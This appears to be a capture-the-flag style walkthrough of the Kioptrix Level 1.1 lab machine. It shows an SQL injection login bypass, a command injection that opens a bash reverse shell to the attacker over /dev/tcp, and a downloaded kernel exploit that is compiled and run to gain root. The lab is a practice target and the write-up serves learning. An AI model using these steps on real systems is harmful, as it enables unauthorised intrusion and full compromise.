Kioprix: Level 1.1(#2)
Lab Environment
Attacker’s Machine : Linux kali 4.18.0-kali2-amd64 #1 SMP Debian 4.18.10-2kali1 (2018-10-09) x86_64 GNU/Linux
Vulnerable Machine : Kioptrix: level 1.1(#2)
Let’s start hacking and breach the security of this machine
Scanning Phase :
Now let’s scan our local network to which attacking machine and vulnerable machine is connected.
Syntax used : arp-scan -l
Victim machine: 192.168.113.130
Enumeration Phase :
I used Nmap for further enumeration of ports and it’s services.
Syntax Used: nmap 192.168.113.130 -Pn
I found HTTP service on port 80. So, I tried to visit the webpage if I can get something useful.
Boom !!
Found Login Page.
Authentication Bypass should be the first approach to bypass login page.
Query Used: 1’or’1’=’1 (Query used in Username and Password field)
With this got an entry in the panel and prompted with a page asking to ping a machine on the network.
To test this I provided my IP to know the things more clearly.
Got reply and ping statistics
Gaining Access:
What did I think after the reply?
That there could be a OS Command Injection Vulnerability and so I injected one-liner for netcat
To gain the reverse shell.
One-Liner: bash -i>& /dev/tcp/attacker’s IP/port 0>&1
Simultaneously Fired netcat to get reverse connection on port 4444
Got shell !!!!
It’s time to enumerate the machine to become root
I found the kernel version to exploit the machine
Syntax Used: uname -a
All credit to exploit-db.com
Found Privilege escalation exploit on exploit-db
Downloaded the exploit on my attacking machine by using wget utility.
Syntax used: wget https://www.exploit-db.com/download/9542
Then I made a simple python server to transfer exploit from attacking machine to victim machine
Syntax Used: python -m SimpleHTTPServer 1337
I changed my directory to tmp in reverse shell which I gained with Netcat and downloaded the exploit using wget.
Syntax used: cd /tmp
Downloading exploit from my attacking machine to victim machine
OR
We can directly download to victim machine using wget.
Now, it’s time to compile the file of exploit.
Changing the name of a file from 9542 to paras.c
Syntax used: mv 9542 paras.c
Then compiling paras.c with gcc compiler.
Syntax used: gcc paras.c
We got a.out file
Executing a.out
Syntax used: ./a.out
Finally got root !!!!